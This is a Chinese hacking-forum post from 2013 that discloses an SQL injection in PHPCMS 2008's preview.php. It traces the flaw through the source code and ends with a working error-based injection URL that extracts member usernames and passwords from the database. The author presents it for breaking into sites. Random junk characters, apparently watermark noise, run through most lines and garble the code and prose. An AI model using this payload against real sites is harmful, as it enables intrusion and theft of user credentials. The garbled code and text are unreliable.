中国网络渗透测试联盟

标题: PHPCMS 2008 最新漏洞(第二季)附EXP [打印本页]

作者: admin    时间: 2013-4-19 19:17
标题: PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
/ m  f; }! T% |# A- M! \; s: Z, a+ B, X" j# i( J! m
   要转摘的兄弟们,你们还是带个版权吧!    * F6 Q$ `6 s2 N; Q* |6 `

3 M: U" d" [0 D0 L# }. V  组织 : http://www.safekeyer.com/   (欢迎访问)
* l8 O9 m# i9 Q1 x" i& K
% p# a* f6 w1 ~author: 西毒    blog: http://hi.baidu.com/sethc58 {8 c/ D6 H# K8 [

, L# w1 o+ h2 j     
1 p* s& R) @1 [. K9 a+ h' B9 M2 d* A* w2 X$ `$ F( l$ }
其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.! c: l5 ?* q/ U" e1 X! F
/ n1 |  @9 n( g8 b8 `- m; W& M
过程不明显的我就省略了。
: a; u  D9 W( k$ |( [' g5 W# j
  p$ R& t! z+ w0 \/ T( g在preview.php 中第7行
" x8 D) L  U+ A. \7 Q/ t2 Q: K) A8 x6 \
$r = new_stripslashes($info);
! u* G, J2 b+ L  x$ N# M  S: E( {8 ?/ t. B9 x4 ~% d0 Z
我们跟踪new_stripslashes这个函数8 E* E5 D, A% a3 T
+ s4 o' r5 ^4 P- L0 Z7 M% S
在global.func.php中可以找到
4 c! d: J9 I: r# _; G/ D+ J2 o$ Z
0 m3 O. I$ [) o! N# o: b1
2 D! e5 t) S0 O28 n, [" ~0 v, \9 ?: C
3
0 v$ q- i) _' H' H* v4
/ e/ [" F! k9 D5 {* h9 G$ I) x5
/ V* N: [% u' E- a6 u$ @5 B+ y$ S9 {6 function new_stripslashes($string)
, L( l$ p# L  f9 M1 P* j. [) h{, \  A8 x% g3 z$ U
    if(!is_array($string)) return stripslashes($string);
( i" w1 o5 }, a: H# y    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
+ Z% U: u, }& ]    return $string;
) g# f3 k$ f$ @" }8 \} & k, O. W0 {* c2 G' Y& X) d7 ~
5 |3 j! u. q; R8 a% `
这个函数的功能不用解释了吧
# i2 d1 {6 {* g8 G/ c6 @! C4 Y, E, b  D, [8 Z# r! y7 G# t  m$ Q0 [
所以我们看具体应用点再哪?1 ~8 w4 @& V7 \
- Z9 e2 R* }2 N  T9 b
13 {. c- B5 H+ H
25 s5 t  }/ @0 a! @+ Z
3
  e+ K0 `( h# |% N6 a: ?4  w; n- k0 V1 C6 O7 H8 |
5& F! M% k# M0 ~- E
6
# R9 M; Z7 V" @/ D7 b3 y! m7
6 |3 x4 [& r2 p" D' e8$ D3 U3 B6 _7 Z/ |2 ]/ N% a% [
94 q, x4 x+ ]+ _# O' G4 M! G
10
/ A* r2 a( l5 w" i! E11
+ D0 ]0 e6 x$ a9 m8 D" t5 X( R12
* Z2 L  }- N; ?$ Y$ m13
6 e) U4 a9 {1 L: }) K- Z14/ q' r  E& E$ x* q  j. X' `" n0 l
15
9 T+ W4 Y9 |5 ?, e16
0 d/ [2 H5 G  Q17. v# s* w" m7 l6 u; a* s
18: O* t* T; K! i' }6 y/ T2 ~
19+ n2 M/ Q1 M& H0 A# y- O% N
20: ?4 y. }7 T  ?# r1 R
21) i8 Q, @" G# o; T7 C
22
; u6 M6 z; v0 Z' C23
5 K2 b1 ?$ O, |; j2 P. f24
* ]# s: E6 N" \2 Y" O" `% p1 F25' R/ {4 m, g3 ?1 e! W6 M
26
/ ]3 p7 V$ b* g# W) H. A; H27
- g, Q, B; {( L. ~2 C; U9 F7 v! f28
. n; g' N; P# z5 y/ R8 p29
/ }6 C$ t! n7 B$ N& j' [" U2 h30
: n& y9 H3 r& d/ Q2 q31
3 ?4 k, z- |) C- t- O322 k4 Z; s. g' s7 N$ r, F
33- t  `( S5 V, C6 K# B5 q# L* w% Z
34( _" o- p: O. I
35 require dirname(__FILE__).'/include/common.inc.php';
* T6 f7 n( W: R$ w8 \if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.6 q5 M/ [0 w, v, o0 _" J. U
require_once CACHE_MODEL_PATH.'content_output.class.php';
$ h7 v3 b, `6 k. C; i. k( Frequire_once 'output.class.php';$ c9 M+ j( p' N4 Z% r! h0 a7 r
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了2 ^8 d# D1 T6 d
$r = new_stripslashes($info);   //反转义了.....关键+ S5 N% I+ K+ z3 d4 `. {
$C = cache_read('category_'.$r['catid'].'.php');
/ \- h' s7 Q. d7 \% Z) A$ T$out = new content_output();  ^- T, t& X7 W! Q2 p) _* K
$r['userid'] = $_userid;
. P  E: ?4 L2 A4 c  b& d2 o8 x1 \$r['inputtime'] = TIME;: z! y1 V6 c2 b, Y2 F" A1 ]
$data = $out->get($r);! n$ f& J$ P6 @2 Q1 e/ K9 |. h, w
extract($data);
+ o) Z# c! g6 U* x4 U+ U1 g$userid = $_username;, i: a8 E/ _' X: o% ^4 [( O
for($i=1;$i<10;$i++)
1 ]3 J" k8 l* ]$ z{0 g) h$ X+ Q7 y- G2 e2 w; V" {: P% x
    $str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");' ]: V) f% ]% U4 K7 D  ~
}
" A: L4 h5 H0 _$ }* @8 b        
5 m9 w/ W: K8 @! ?! U5 ^7 n$ Q- ^6 T$array_images = $str_attachmentArray;
, I+ J0 _7 V. L- Z# Z$images_number = 10;
, t7 N5 Y, R/ M. X3 Z; Z! h8 {, r3 E$allow_priv = $allow_readpoint = 1;* \0 P$ Y. Y) J& O  ?
$updatetime = date('Y-m-d H:i:s',TIME);6 C( R# e3 J# H' o, @5 S
        
: A) F+ ?4 ?2 Y2 T$page = max(intval($page), 1);- w5 ]( L7 T, r* P
$pages = $titles = '';
# x) u. I; Z# z% C1 \if(strpos($content, '') !== false)  //这里必须还有这个这个字符.....才能操作哈
9 z) V+ V0 Y" H0 p: x7 q' u) W9 V{
* m4 A. {: _8 `9 @1 c5 j    require_once 'url.class.php';
4 A, p% }+ Y% a8 d8 c  \    $curl = new url();% n/ j( [# I& d& P1 h& i8 N
    $contents = array_filter(explode('', $content));
& _% u  i9 n; ^' W& D7 q# u3 {    $pagenumber = count($contents);; L; Y  z# ?7 I' M- X% @
    for($i=1; $i<=$pagenumber; $i++)& c% A% u$ d' z
    {
1 s* J3 t# X4 G. d9 u" ~- ~; Z  Q        $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中" K+ d5 @3 i, r6 @, X
    } & A4 D" C' y6 K+ B: E7 b' ?1 W: G1 C
其中细节我就不说了...
8 L- x7 y, ]4 k  p: H/ h1 L" b
9 i4 Z' a; _9 C! R+ |2 U我们看看这个$curl资源句柄中的show方法
# u9 v$ {+ ?" q; E. B
, W1 L( e3 w- U  t" y1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
+ }; l9 l/ l6 n- e) ^2 Q* `) b
/ ?% W* w# M6 ^- J7 _1$ x" g$ e* B0 u7 F' `
20 n0 |( y2 I  Z9 f+ w8 s* l/ F! [1 s- N" p
3( ?( c/ ?2 `8 ]6 `: [' o
4
9 g8 D/ M% u  ]( Q9 V; A8 U3 L2 G51 F8 d) z* r9 Q2 l/ @6 C9 \
6" t& y6 q$ C, ~8 {
7% q1 }0 S8 A$ X4 b3 L
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
2 @# ~' z5 [! O" V    {
, z7 i* W* c- _/ F. @( o$ ]% o        global $PHPCMS;! l" E& V! l) B' t( V  e2 M  M
        if($catid == 0 || $time == 0 || $prefix == '')- A/ l0 D; z5 @' x+ w: b% A
        {
( m% E+ O/ ?2 B. T) y% ^+ @( G% U            $r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
0 _& P) @2 D* t5 k            if($r['isupgrade'] && !empty($r['url']))
' Z9 J. ], n) @4 e- a1 S            { 7 O) g6 p7 V$ o* K7 N4 ^4 Y
( g. D+ C5 m: H/ f
所以结合前面的......我们x站了吧
2 i  I& Q# D7 u0 V5 Y, z, W3 }( Y+ V, c
给出exp
. i8 D& \: g& k, R% b0 T! g: A: r" F6 h2 J: U
www.xxxxx.com/preview.php?info[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a​8 F5 C$ `7 E/ b

* y  G4 C4 x7 P" s截图看一下
9 N6 h8 K2 H8 b: t. L9 X
8 ], N% i9 m4 w4 N/ O最后真心说句,360收购漏洞计划,价格真心低.....9 p6 k0 c$ K2 @: \6 U
http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2